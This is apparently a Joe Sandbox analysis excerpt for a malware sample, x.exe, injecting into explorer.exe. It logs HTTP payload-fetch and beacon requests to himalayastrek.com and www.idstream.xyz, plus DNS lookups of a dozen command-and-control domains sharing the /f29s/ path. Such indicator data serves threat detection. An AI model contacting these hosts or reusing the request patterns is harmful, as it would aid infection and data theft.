          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031EE4B8 InternetCheckConnectionA,4_2_031EE4B8
          Source: global trafficHTTP traffic detected: GET /f29s/?K0D4DF=m5h39RLwl31LXRPRmTSXP9eLYqfjoOrpkihnF09uNo6H/5I9WBh+KA30PPZTUfl/TnSCsLUw0A==&YBZTY=wPDP7JgPANGdLZ7 HTTP/1.1Host: www.idstream.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
          Source: Joe Sandbox ViewASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS
          Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
          Source: global trafficHTTP traffic detected: GET /stein/233_Lvvgdeojree HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: himalayastrek.com
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: C:\Windows\explorer.exeCode function: 12_2_08D92F82 getaddrinfo,setsockopt,recv,12_2_08D92F82
          Source: global trafficHTTP traffic detected: GET /stein/233_Lvvgdeojree HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: himalayastrek.com
          Source: global trafficHTTP traffic detected: GET /f29s/?K0D4DF=m5h39RLwl31LXRPRmTSXP9eLYqfjoOrpkihnF09uNo6H/5I9WBh+KA30PPZTUfl/TnSCsLUw0A==&YBZTY=wPDP7JgPANGdLZ7 HTTP/1.1Host: www.idstream.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficDNS traffic detected: DNS query: himalayastrek.com
          Source: global trafficDNS traffic detected: DNS query: www.acaxtecameralcarers.cfd
          Source: global trafficDNS traffic detected: DNS query: www.ound-qlhmm.xyz
          Source: global trafficDNS traffic detected: DNS query: www.idstream.xyz
          Source: global trafficDNS traffic detected: DNS query: www.specially-smou.xyz
          Source: global trafficDNS traffic detected: DNS query: www.zpp-at.xyz
          Source: global trafficDNS traffic detected: DNS query: www.byataltatweer.net
          Source: global trafficDNS traffic detected: DNS query: www.ranxxletzz.xyz
          Source: global trafficDNS traffic detected: DNS query: www.ixedcontainerlogistics.today
          Source: global trafficDNS traffic detected: DNS query: www.kimosskrupulslacker.cfd
          Source: global trafficDNS traffic detected: DNS query: www.ise-bjnh.xyz
          Source: global trafficDNS traffic detected: DNS query: www.jdhfmq.live
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
          Source: explorer.exe, 0000000C.00000002.4587065407.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2252238503.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2252238503.000000000978C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
          Source: explorer.exe, 0000000C.00000002.4587065407.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2252238503.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2252238503.000000000978C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
          Source: explorer.exe, 0000000C.00000002.4587065407.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2252238503.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2252238503.000000000978C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
          Source: explorer.exe, 0000000C.00000002.4587065407.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2252238503.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2252238503.000000000978C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
          Source: explorer.exe, 0000000C.00000000.2252238503.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000962B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0C
          Source: explorer.exe, 0000000C.00000002.4585076295.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.2250453536.0000000007B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.2237519701.00000000028A0000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://schemas.micro
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.acaxtecameralcarers.cfd
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.acaxtecameralcarers.cfd/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.acaxtecameralcarers.cfd/f29s/www.ound-qlhmm.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.acaxtecameralcarers.cfdReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.aomei517.top
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.aomei517.top/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.aomei517.top/f29s/www.dnaqm-walk.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.aomei517.topReferer:
          Source: explorer.exe, 0000000C.00000003.2979507904.000000000C3D9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4593227950.000000000C3FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980518972.000000000C3F9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2264757843.000000000C39F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.autoitscript.com/autoit3/J
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.byataltatweer.net
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.byataltatweer.net/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.byataltatweer.net/f29s/www.ranxxletzz.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.byataltatweer.netReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.dnaqm-walk.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.dnaqm-walk.xyz/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.dnaqm-walk.xyz/f29s/www.ndradesanches.shop
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.dnaqm-walk.xyzReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.duxrib.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.duxrib.xyz/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.duxrib.xyz/f29s/www.ise-bjnh.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.duxrib.xyzReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.idstream.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.idstream.xyz/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.idstream.xyz/f29s/www.specially-smou.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.idstream.xyzReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.iscussion-tjard.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.iscussion-tjard.xyz/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.iscussion-tjard.xyz/f29s/www.aomei517.top
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.iscussion-tjard.xyzReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ise-bjnh.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ise-bjnh.xyz/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ise-bjnh.xyz/f29s/www.jdhfmq.live
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ise-bjnh.xyzReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ixedcontainerlogistics.today
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ixedcontainerlogistics.today/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ixedcontainerlogistics.today/f29s/www.kimosskrupulslacker.cfd
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ixedcontainerlogistics.todayReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.jdhfmq.live
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.jdhfmq.live/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.jdhfmq.live/f29s/www.iscussion-tjard.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.jdhfmq.liveReferer:
